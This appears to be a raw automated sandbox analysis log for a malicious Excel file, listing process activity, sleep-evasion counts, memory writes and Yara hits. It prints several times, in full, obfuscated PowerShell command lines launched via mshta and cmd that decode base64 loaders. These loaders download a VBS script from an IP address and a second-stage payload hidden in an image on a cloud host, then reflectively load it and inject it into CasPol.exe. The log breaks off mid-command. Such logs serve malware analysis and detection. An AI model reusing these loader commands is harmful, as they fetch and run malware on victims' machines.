Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX

Source: Cot90012ARCACONTAL.xls	Stream path 'MBD005CAF36/MBD007203CB/Workbook' entropy: 7.97416832031 (max. 8.0)
Source: Cot90012ARCACONTAL.xls	Stream path 'Workbook' entropy: 7.99854311168 (max. 8.0)
Source: ~DF04B4D643794D5F54.TMP.0.dr	Stream path 'MBD005CAF36/MBD007203CB/Workbook' entropy: 7.97416832031 (max. 8.0)
Source: ~DF04B4D643794D5F54.TMP.0.dr	Stream path 'Workbook' entropy: 7.99854311168 (max. 8.0)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8399	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1534	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1359	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8523	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1100
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1582
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2164
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7685

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.dll			Jump to dropped file

Source: C:\Windows\System32\mshta.exe TID: 3588	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748	Thread sleep count: 8399 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748	Thread sleep count: 1534 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3808	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3812	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4060	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4060	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4060	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 1836	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE TID: 1072	Thread sleep count: 60 > 30
Source: C:\Windows\System32\DWWIN.EXE TID: 2968	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1264	Thread sleep count: 1100 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 748	Thread sleep count: 1582 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1436	Thread sleep time: -240000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1848	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 892	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep count: 2164 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3396	Thread sleep count: 7685 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3504	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3488	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3504	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3504	Thread sleep time: -600000s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3968, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3344, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 401000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 457000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 470000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 476000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 47B000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: 7EFDE008	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES474.tmp" "c:\Users\user\AppData\Local\Temp\40h2inb3\CSC48DBA3EBDCD44EA8BEA847E1C793E7D2.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process created: C:\Windows\System32\DWWIN.EXE C:\Windows\system32\dwwin.exe -x -s 2156	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; 